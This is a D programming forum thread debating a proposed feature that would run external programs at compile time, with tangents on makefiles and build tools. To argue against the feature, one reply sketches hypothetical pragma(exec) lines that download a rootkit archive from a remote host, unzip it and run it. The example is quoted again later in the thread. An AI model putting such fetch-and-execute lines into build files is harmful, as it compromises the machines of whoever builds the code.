www.digitalmars.com         C & C++   DMDScript  

digitalmars.D - Compile time executable calling?

reply "Tofu Ninja" <emmons0 purdue.edu> writes:
I made a post about it a few months back and it seemed like there 
were some people who would want this, but nothing ever came of it.

The idea is basically being able to call and capture the output 
of a program at compile time, similar to a string import.

Has anyone thought about this since?

I know I for one would still love this.

-Tofu
Jan 08 2014
parent reply "Orvid King" <blah38621 gmail.com> writes:
On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja wrote:

 I made a post about it a few months back and it seemed like 
 there were some people who would want this, but nothing ever 
 came of it.

 The idea is basically being able to call and capture the output 
 of a program at compile time, similar to a string import.

 Has anyone thought about this since?

 I know I for one would still love this.

 -Tofu


My argument against this is simple, and can be summed up in one 
sentence: "Why yes, you tried to build my code, so I deleted all 
of your source code."
Jan 08 2014
parent reply "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 18:50:04 UTC, Orvid King wrote:

 On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja wrote:

 I made a post about it a few months back and it seemed like 
 there were some people who would want this, but nothing ever 
 came of it.

 The idea is basically being able to call and capture the 
 output of a program at compile time, similar to a string 
 import.

 Has anyone thought about this since?

 I know I for one would still love this.

 -Tofu


 My argument against this is simple, and can be summed up in one 
 sentence: "Why yes, you tried to build my code, so I deleted 
 all of your source code."


I think something like this would have a compile flag to enable 
it for security. I don't think I would be too worried about it.
Jan 08 2014
parent reply "H. S. Teoh" <hsteoh quickfur.ath.cx> writes:
On Wed, Jan 08, 2014 at 06:56:26PM +0000, Tofu Ninja wrote:

 On Wednesday, 8 January 2014 at 18:50:04 UTC, Orvid King wrote:

On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja wrote:

I made a post about it a few months back and it seemed like
there were some people who would want this, but nothing ever
came of it.

The idea is basically being able to call and capture the output
of a program at compile time, similar to a string import.

Has anyone thought about this since?

I know I for one would still love this.

-Tofu


My argument against this is simple, and can be summed up in one
sentence: "Why yes, you tried to build my code, so I deleted all
of your source code."


 
 I think something like this would have a compile flag to enable it
 for security. I don't think I would be too worried about it.


I'm already trembling in my shoes at the sound of it. Hands up, those
among you who download the source code for some project online and
manually type 'dmd src/mod1.d src/mod2.d src/mod3.d src/main.d' (rather
than, say, 'make' or whatever it is you kids use nowadays).

Nobody?  Hmm... I could've sworn such people still existed...


of some online project to see what it does, before you run it.

Still nobody? Really? So you're saying that you'd just download some
source code from some random website (or fork some project on github,
same difference), and then you'll just blindly run the build script
without looking to see what it does? Like this?:





	...	[snip whole bunch of garbage]

	...
	dmd -allow-exec main.d	[oops, what just happened?]
	...

	module main;
	...
	pragma(exec, "wget http://blackhat.com/rootkit.zip");
	pragma(exec, "unzip rootkit.zip");
	pragma(exec, "./rootkit");
	...



T

-- 
The two rules of success: 1. Don't tell everything you know. -- YHL
Jan 08 2014
parent reply "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 20:34:20 UTC, H. S. Teoh wrote:

 On Wed, Jan 08, 2014 at 06:56:26PM +0000, Tofu Ninja wrote:

 On Wednesday, 8 January 2014 at 18:50:04 UTC, Orvid King wrote:

On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja 
wrote:

I made a post about it a few months back and it seemed like
there were some people who would want this, but nothing ever
came of it.

The idea is basically being able to call and capture the 
output
of a program at compile time, similar to a string import.

Has anyone thought about this since?

I know I for one would still love this.

-Tofu


My argument against this is simple, and can be summed up in 
one
sentence: "Why yes, you tried to build my code, so I deleted 
all
of your source code."


 
 I think something like this would have a compile flag to 
 enable it
 for security. I don't think I would be too worried about it.


 I'm already trembling in my shoes at the sound of it. Hands up, 
 those
 among you who download the source code for some project online 
 and
 manually type 'dmd src/mod1.d src/mod2.d src/mod3.d src/main.d' 
 (rather
 than, say, 'make' or whatever it is you kids use nowadays).

 Nobody?  Hmm... I could've sworn such people still existed...


 build script
 of some online project to see what it does, before you run it.

 Still nobody? Really? So you're saying that you'd just download 
 some
 source code from some random website (or fork some project on 
 github,
 same difference), and then you'll just blindly run the build 
 script
 without looking to see what it does? Like this?:





 	...	[snip whole bunch of garbage]

 	...
 	dmd -allow-exec main.d	[oops, what just happened?]
 	...

 	module main;
 	...
 	pragma(exec, "wget http://blackhat.com/rootkit.zip");
 	pragma(exec, "unzip rootkit.zip");
 	pragma(exec, "./rootkit");
 	...



 T


Why would that have needed to be in the D file? Couldn't the 
makefile have done it itself? I dont see the point in this...

Like really... its not a problem that should stop it, you are 
already compiling and running code that can do arbitrary things 
so why should what it can do at compile time be more scary that 
what it can do at runtime...

I think I saw a reddit post the other day with a quote that I 
think applies in this situation...

"Thinking about security is like thinking about where to ride 
your motorcycle: the safe places are no fun, and the fun places 
are not safe. I shall ride wherever my spirit takes me"

On the other hand I think this could be extremely useful for 
certain cases, a way to do things that the compiler can't and 
where ctfe is too slow or simply can't do what you are trying to 
do.
Jan 08 2014
parent reply "Brian Schott" <briancschott gmail.com> writes:
Just make your makefile run the script, pipe its output to a 
file, and do a string import of the generated file.
Jan 08 2014
parent reply "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 22:01:56 UTC, Brian Schott wrote:

 Just make your makefile run the script, pipe its output to a 
 file, and do a string import of the generated file.


The kind of stuff I want to use it for would make that tactic 
tedious and error prone. I would use it like how ctfe is used now.

Having multiple points in the source(maybe hundreds) that would 
call out to a external program at compile time but pass out 
different args. Relying on a makefile to do something like this 
would require me to keep the makefile and the source code 
constantly in sync and would become a problem before long.
Jan 08 2014
parent reply "H. S. Teoh" <hsteoh quickfur.ath.cx> writes:
On Wed, Jan 08, 2014 at 10:29:03PM +0000, Tofu Ninja wrote:

 On Wednesday, 8 January 2014 at 22:01:56 UTC, Brian Schott wrote:

Just make your makefile run the script, pipe its output to a file,
and do a string import of the generated file.


 
 The kind of stuff I want to use it for would make that tactic
 tedious and error prone. I would use it like how ctfe is used now.
 
 Having multiple points in the source(maybe hundreds) that would call
 out to a external program at compile time but pass out different
 args. Relying on a makefile to do something like this would require
 me to keep the makefile and the source code constantly in sync and
 would become a problem before long.


Huh? Your last sentence made no sense to me. Doesn't the makefile have
to be kept in sync anyway? In my experience, when makefile and source go
out of sync, that's when you start getting untraceable heisenbugs that
defy all analysis, and disappear after you do a `make clean; make`. The
most usual cause of this is the makefile picking up stray, stale object
files that should no longer exist 'cos they don't reflect the source
anymore.

<offtopic rant>
This is one of the many things I really hate about makefiles.  I'd
recommend *anything* over makefiles. Like SCons. Or tup. Even Ant, that
insists on the human-unreadable and human-unwriteable XML as an input
format.  A *shell script* could do better than make, by actually making
sure that everything is recompiled and up-to-date, without magic global
variables that alter behaviour in strange ways (*cough*VPATH*cough*), or
unreliable timestamp-dependence that breaks when you cross NFS
boundaries, or sometimes just breaks for no discernible reason
whatsoever. The fact that `make clean` exists at all, is a testament to
just how broken the whole thing is (and the saddest thing is that `make
clean` has come to be accepted as a part of life, when it shouldn't even
exist in the first place, had build systems been designed correctly to
begin with).
</offtopic rant>


T

-- 
In order to understand recursion you must first understand recursion.
Jan 08 2014
next sibling parent reply "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 23:17:48 UTC, H. S. Teoh wrote:

 On Wed, Jan 08, 2014 at 10:29:03PM +0000, Tofu Ninja wrote:

 On Wednesday, 8 January 2014 at 22:01:56 UTC, Brian Schott 
 wrote:

Just make your makefile run the script, pipe its output to a 
file,
and do a string import of the generated file.


 
 The kind of stuff I want to use it for would make that tactic
 tedious and error prone. I would use it like how ctfe is used 
 now.
 
 Having multiple points in the source(maybe hundreds) that 
 would call
 out to a external program at compile time but pass out 
 different
 args. Relying on a makefile to do something like this would 
 require
 me to keep the makefile and the source code constantly in sync 
 and
 would become a problem before long.


 Huh? Your last sentence made no sense to me. Doesn't the 
 makefile have
 to be kept in sync anyway? In my experience, when makefile and 
 source go
 out of sync, that's when you start getting untraceable 
 heisenbugs that
 defy all analysis, and disappear after you do a `make clean; 
 make`. The
 most usual cause of this is the makefile picking up stray, 
 stale object
 files that should no longer exist 'cos they don't reflect the 
 source
 anymore.

 <offtopic rant>
 This is one of the many things I really hate about makefiles.  
 I'd
 recommend *anything* over makefiles. Like SCons. Or tup. Even 
 Ant, that
 insists on the human-unreadable and human-unwriteable XML as an 
 input
 format.  A *shell script* could do better than make, by 
 actually making
 sure that everything is recompiled and up-to-date, without 
 magic global
 variables that alter behaviour in strange ways 
 (*cough*VPATH*cough*), or
 unreliable timestamp-dependence that breaks when you cross NFS
 boundaries, or sometimes just breaks for no discernible reason
 whatsoever. The fact that `make clean` exists at all, is a 
 testament to
 just how broken the whole thing is (and the saddest thing is 
 that `make
 clean` has come to be accepted as a part of life, when it 
 shouldn't even
 exist in the first place, had build systems been designed 
 correctly to
 begin with).
 </offtopic rant>


 T


I didn't just mean keeping it in sync with the source files, but 
in sync with every instance of the external exe call that might 
happen, and since I would want to use it like how ctfe is used 
that basically means any time I happen to want to "call" this 
outside program(which might be a lot of times per source file) I 
have to update the makefile. And beyond that the args being 
passed per call might be different each time... alot to keep 
track of.. beyond the normal stuff that has to be kept track of 
in a makefile....

But yea make sucks... I dont use it but it seems to be a theme in 
this thread so I just used that as an example...
Jan 08 2014
parent "H. S. Teoh" <hsteoh quickfur.ath.cx> writes:
On Wed, Jan 08, 2014 at 11:55:38PM +0000, Tofu Ninja wrote:
[...]

 I didn't just mean keeping it in sync with the source files, but in
 sync with every instance of the external exe call that might happen,
 and since I would want to use it like how ctfe is used that
 basically means any time I happen to want to "call" this outside
 program(which might be a lot of times per source file) I have to
 update the makefile. And beyond that the args being passed per call
 might be different each time... alot to keep track of.. beyond the
 normal stuff that has to be kept track of in a makefile....


[...]

Sounds like you need 'tup', which scaffolds the compile process at the
OS level so that it can automatically detect *actual* dependencies,
without needing hacks like manually specifying dependencies (which is
unmaintainable as you describe, and often outright wrong) or error-prone
custom source file scanners (which often have ugly corner cases where
they don't parse the target language properly).


T

-- 
Не дорог подарок, дорога любовь.
Jan 08 2014
prev sibling parent Jacob Carlborg <doob me.com> writes:
On 2014-01-09 00:16, H. S. Teoh wrote:


 <offtopic rant>
 A *shell script* could do better than make, by actually making
 sure that everything is recompiled and up-to-date


I use a shell script for most of my projects. It's usually a one line 
shell script, just to not have to retype all flags every time.


 The fact that `make clean` exists at all, is a testament to
 just how broken the whole thing is (and the saddest thing is that `make
 clean` has come to be accepted as a part of life, when it shouldn't even
 exist in the first place, had build systems been designed correctly to
 begin with).


What if you change the makefile, say adding a flag? That flag might 
require the whole project to be rebuilt. How should that be handled 
automatically? Always to a full rebuild if the makefile has been changed?

-- 
/Jacob Carlborg
Jan 09 2014